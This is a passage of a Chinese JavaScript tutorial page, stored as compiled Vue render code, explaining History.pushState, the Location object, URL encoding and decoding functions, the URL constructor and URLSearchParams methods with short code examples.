line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" stateObj "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("foo")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'bar'")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nhistory"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("pushState")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("stateObj"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'page 2'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'2.html'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("添加新记录后，浏览器地址栏立刻显示"),s("code",[t._v("example.com/2.html")]),t._v("，但并不会跳转到"),s("code",[t._v("2.html")]),t._v("，甚至也不会检查"),s("code",[t._v("2.html")]),t._v("是否存在，它只是成为浏览历史中的最新记录。这时，在地址栏输入一个新的地址(比如访问"),s("code",[t._v("google.com")]),t._v(")，然后点击了倒退按钮，页面的 URL 将显示"),s("code",[t._v("2.html")]),t._v("；你再点击一次倒退按钮，URL 将显示"),s("code",[t._v("1.html")]),t._v("。")]),t._v(" "),s("p",[t._v("总之，"),s("code",[t._v("pushState()")]),t._v("方法不会触发页面刷新，只是导致 History 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("直接改写"),s("code",[t._v("location")]),t._v("，相当于写入"),s("code",[t._v("href")]),t._v("属性。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("location "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://www.example.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 等同于")]),t._v("\ndocument"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("location"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[s("strong",[t._v("（3）Location.reload()")])]),t._v(" "),s("p",[s("code",[t._v("reload")]),t._v("方法使得浏览器重新加载当前网址，相当于按下浏览器的刷新按钮。")]),t._v(" "),s("p",[t._v("它接受一个布尔值作为参数。如果参数为"),s("code",[t._v("true")]),t._v("，浏览器将向服务器重新请求这个网页，并且重新加载后，网页将滚动到头部（即"),s("code",[t._v("scrollTop === 0")]),t._v("）。如果参数是"),s("code",[t._v("false")]),t._v("或为空，浏览器将从本地缓存重新加载该网页，并且重新加载后，网页的视口位置是重新加载前的位置。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 向服务器重新请求当前网址")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("location"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("reload")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("true")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[s("strong",[t._v("（4）Location.toString()")])]),t._v(" "),s("p",[s("code",[t._v("toString")]),t._v("方法返回整个 URL 字符串，相当于读取"),s("code",[t._v("Location.href")]),t._v("属性。")]),t._v(" "),s("h3",{attrs:{id:"_2、url-的编码和解码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、url-的编码和解码"}},[t._v("#")]),t._v(" 2、URL 的编码和解码")]),t._v(" "),s("p",[t._v("网页的 URL 只能包含合法的字符。合法字符分成两类。")]),t._v(" "),s("ul",[s("li",[t._v("URL 元字符：分号（"),s("code",[t._v(";")]),t._v("），逗号（"),s("code",[t._v(",")]),t._v("），斜杠（"),s("code",[t._v("/")]),t._v("），问号（"),s("code",[t._v("?")]),t._v("），冒号（"),s("code",[t._v(":")]),t._v("），at（"),s("code",[t._v("@")]),t._v("），"),s("code",[t._v("&")]),t._v("，等号（"),s("code",[t._v("=")]),t._v("），加号（"),s("code",[t._v("+")]),t._v("），美元符号（"),s("code",[t._v("$")]),t._v("），井号（"),s("code",[t._v("#")]),t._v("）")]),t._v(" "),s("li",[t._v("语义字符："),s("code",[t._v("a-z")]),t._v("，"),s("code",[t._v("A-Z")]),t._v("，"),s("code",[t._v("0-9")]),t._v("，连词号（"),s("code",[t._v("-")]),t._v("），下划线（"),s("code",[t._v("_")]),t._v("），点（"),s("code",[t._v(".")]),t._v("），感叹号（"),s("code",[t._v("!")]),t._v("），波浪线（"),s("code",[t._v("~")]),t._v("），星号（"),s("code",[t._v("*")]),t._v("），单引号（"),s("code",[t._v("'")]),t._v("），圆括号（"),s("code",[t._v("()")]),t._v("）")])]),t._v(" "),s("p",[t._v("除了以上字符，其他字符出现在 URL 之中都必须转义，规则是根据操作系统的默认编码，将每个字节转为百分号（"),s("code",[t._v("%")]),t._v("）加上两个大写的十六进制字母。")]),t._v(" "),s("p",[t._v("比如，UTF-8 的操作系统上，"),s("code",[t._v("http://www.example.com/q=春节")]),t._v("这个 URL 之中，汉字“春节”不是 URL 的合法字符，所以被浏览器自动转成"),s("code",[t._v("http://www.example.com/q=%E6%98%A5%E8%8A%82")]),t._v("。其中，“春”转成了"),s("code",[t._v("%E6%98%A5")]),t._v("，“节”转成了"),s("code",[t._v("%E8%8A%82")]),t._v("。这是因为“春”和“节”的 UTF-8 编码分别是"),s("code",[t._v("E6 98 A5")]),t._v("和"),s("code",[t._v("E8 8A 82")]),t._v("，将每个字节前面加上百分号，就构成了 URL 编码。")]),t._v(" "),s("p",[t._v("JavaScript 提供四个 URL 的编码/解码方法。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("encodeURI()")])]),t._v(" "),s("li",[s("code",[t._v("encodeURIComponent()")])]),t._v(" "),s("li",[s("code",[t._v("decodeURI()")])]),t._v(" "),s("li",[s("code",[t._v("decodeURIComponent()")])])]),t._v(" "),s("h4",{attrs:{id:"_2-1-encodeuri"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-1-encodeuri"}},[t._v("#")]),t._v(" 2.1 encodeURI()")]),t._v(" "),s("p",[s("code",[t._v("encodeURI()")]),t._v("方法用于转码整个 URL。它的参数是一个字符串，代表整个 URL。它会将元字符和语义字符之外的字符，都进行转义。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token function"}},[t._v("encodeURI")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://www.example.com/q=春节'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "http://www.example.com/q=%E6%98%A5%E8%8A%82"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("h4",{attrs:{id:"_2-2-encodeuricomponent"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-2-encodeuricomponent"}},[t._v("#")]),t._v(" 2.2 encodeURIComponent()")]),t._v(" "),s("p",[s("code",[t._v("encodeURIComponent()")]),t._v("方法用于转码 URL 的组成部分，会转码除了语义字符之外的所有字符，即元字符也会被转码。所以，它不能用于转码整个 URL。它接受一个参数，就是 URL 的片段。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token function"}},[t._v("encodeURIComponent")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'春节'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "%E6%98%A5%E8%8A%82"')]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("encodeURIComponent")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://www.example.com/q=春节'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[t._v("上面代码中，"),s("code",[t._v("encodeURIComponent()")]),t._v("会连 URL 元字符一起转义，所以如果转码整个 URL 就会出错。")]),t._v(" "),s("h4",{attrs:{id:"_2-3-decodeuri"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-3-decodeuri"}},[t._v("#")]),t._v(" 2.3 decodeURI()")]),t._v(" "),s("p",[s("code",[t._v("decodeURI()")]),t._v("方法用于整个 URL 的解码。它是"),s("code",[t._v("encodeURI()")]),t._v("方法的逆运算。它接受一个参数，就是转码后的 URL。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token function"}},[t._v("decodeURI")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://www.example.com/q=%E6%98%A5%E8%8A%82'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "http://www.example.com/q=春节"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("h4",{attrs:{id:"_2-4-decodeuricomponent"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-4-decodeuricomponent"}},[t._v("#")]),t._v(" 2.4 decodeURIComponent()")]),t._v(" "),s("p",[s("code",[t._v("decodeURIComponent()")]),t._v("用于URL 片段的解码。它是"),s("code",[t._v("encodeURIComponent()")]),t._v("方法的逆运算。它接受一个参数，就是转码后的 URL 片段。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token function"}},[t._v("decodeURIComponent")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'%E6%98%A5%E8%8A%82'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "春节"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("h3",{attrs:{id:"_3、url-接口"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、url-接口"}},[t._v("#")]),t._v(" 3、URL 接口")]),t._v(" "),s("p",[s("code",[t._v("URL")]),t._v("接口是一个构造函数，浏览器原生提供，可以用来构造、解析和编码 URL。一般情况下，通过"),s("code",[t._v("window.URL")]),t._v("可以拿到这个构造函数。")]),t._v(" "),s("h4",{attrs:{id:"_3-1-构造函数"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-1-构造函数"}},[t._v("#")]),t._v(" 3.1 构造函数")]),t._v(" "),s("p",[s("code",[t._v("URL")]),t._v("作为构造函数，可以生成 URL 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("如果参数是另一个 URL 实例，构造函数会自动读取该实例的"),s("code",[t._v("href")]),t._v("属性，作为实际参数。")]),t._v(" "),s("p",[t._v("如果 URL 字符串是一个相对路径，那么需要表示绝对路径的第二个参数，作为计算基准。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" url1 "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("URL")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'index.html'")]),s("span",{pre:!0,attrs:{class:"token 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string"}},[t._v("'http://example.com/page1.html'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nurl2"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("href\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "http://example.com/page2.html"')]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" url3 "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("URL")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'..'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br")])]),s("p",[t._v("上面代码中，返回的 URL 实例的路径都是在第二个参数的基础上，切换到第一个参数得到的。最后一个例子里面，第一个参数是"),s("code",[t._v("..")]),t._v("，表示上层路径。")]),t._v(" "),s("h4",{attrs:{id:"_3-2-实例属性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-2-实例属性"}},[t._v("#")]),t._v(" 3.2 实例属性")]),t._v(" "),s("p",[t._v("URL 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line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" url "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("URL")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://user:passwd@www.example.com:4097/path/a.html?x=111#part1'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\nurl"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("href\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1"')]),t._v("\nurl"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br")])]),s("p",[s("code",[t._v("URLSearchParams")]),t._v("没有实例属性，只有实例方法。")]),t._v(" "),s("h4",{attrs:{id:"_4-2-urlsearchparams-tostring"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-2-urlsearchparams-tostring"}},[t._v("#")]),t._v(" 4.2 URLSearchParams.toString()")]),t._v(" "),s("p",[s("code",[t._v("toString")]),t._v("方法返回实例的字符串形式。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" url 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"),s("h4",{attrs:{id:"_4-3-urlsearchparams-append"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-3-urlsearchparams-append"}},[t._v("#")]),t._v(" 4.3 URLSearchParams.append()")]),t._v(" "),s("p",[s("code",[t._v("append()")]),t._v("方法用来追加一个查询参数。它接受两个参数，第一个为键名，第二个为键值，没有返回值。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" params "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("URLSearchParams")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),s("span",{pre:!0,attrs:{class:"token string-property property"}},[t._v("'foo'")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string-property property"}},[t._v("'bar'")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("2")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nparams"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("append")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'baz'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("3")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nparams"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("toString")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "foo=1&bar=2&baz=3"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[s("code",[t._v("append()")]),t._v("方法不会识别是否键名已经存在。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token 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"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "foo=1&bar=2&foo=3"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("上面代码中，查询字符串里面"),s("code",[t._v("foo")]),t._v("已经存在了，但是"),s("code",[t._v("append")]),t._v("依然会追加一个同名键。")]),t._v(" "),s("h4",{attrs:{id:"_4-4-urlsearchparams-delete"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-4-urlsearchparams-delete"}},[t._v("#")]),t._v(" 4.4 URLSearchParams.delete()")]),t._v(" "),s("p",[s("code",[t._v("delete()")]),t._v("方法用来删除指定的查询参数。它接受键名作为参数。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" params "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("URLSearchParams")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),s("span",{pre:!0,attrs:{class:"token string-property property"}},[t._v("'foo'")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string-property property"}},[t._v("'bar'")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("2")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nparams"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("delete")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'bar'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nparams"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("toString")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "foo=1"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("h4",{attrs:{id:"_4-5-urlsearchparams-has"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-5-urlsearchparams-has"}},[t._v("#")]),t._v(" 4.5 URLSearchParams.has()")]),t._v(" "),s("p",[s("code",[t._v("has()")]),t._v("方法返回一个布尔值，表示查询字符串是否包含指定的键名。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" params "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("URLSearchParams")]),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("h4",{attrs:{id:"_4-6-urlsearchparams-set"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-6-urlsearchparams-set"}},[t._v("#")]),t._v(" 4.6 URLSearchParams.set()")]),t._v(" "),s("p",[s("code",[t._v("set()")]),t._v("方法用来设置查询字符串的键值。")]),t._v(" "),s("p",[t._v("它接受两个参数，第一个是键名，第二个是键值。如果是已经存在的键，键值会被改写，否则会被追加。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" params "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("上面代码中，查询字符串有三个"),s("code",[t._v("foo")]),t._v("键，"),s("code",[t._v("get")]),t._v("方法返回最前面的键值"),s("code",[t._v("3")]),t._v("。")]),t._v(" "),s("p",[s("code",[t._v("getAll()")]),t._v("方法返回一个数组，成员是指定键的所有键值。它接受键名作为参数。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" params "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("URLSearchParams")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'?foo=1&foo=2'")]),s("span",{pre:!0,attrs:{class:"token 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"),s("p",[t._v("用户点击“提交”按钮，每一个控件都会生成一个键值对，键名是控件的"),s("code",[t._v("name")]),t._v("属性，键值是控件的"),s("code",[t._v("value")]),t._v("属性，键名和键值之间由等号连接。比如，用户名输入框的"),s("code",[t._v("name")]),t._v("属性是"),s("code",[t._v("user_name")]),t._v("，"),s("code",[t._v("value")]),t._v("属性是用户输入的值，假定是“张三”，提交到服务器的时候，就会生成一个键值对"),s("code",[t._v("user_name=张三")]),t._v("。")]),t._v(" 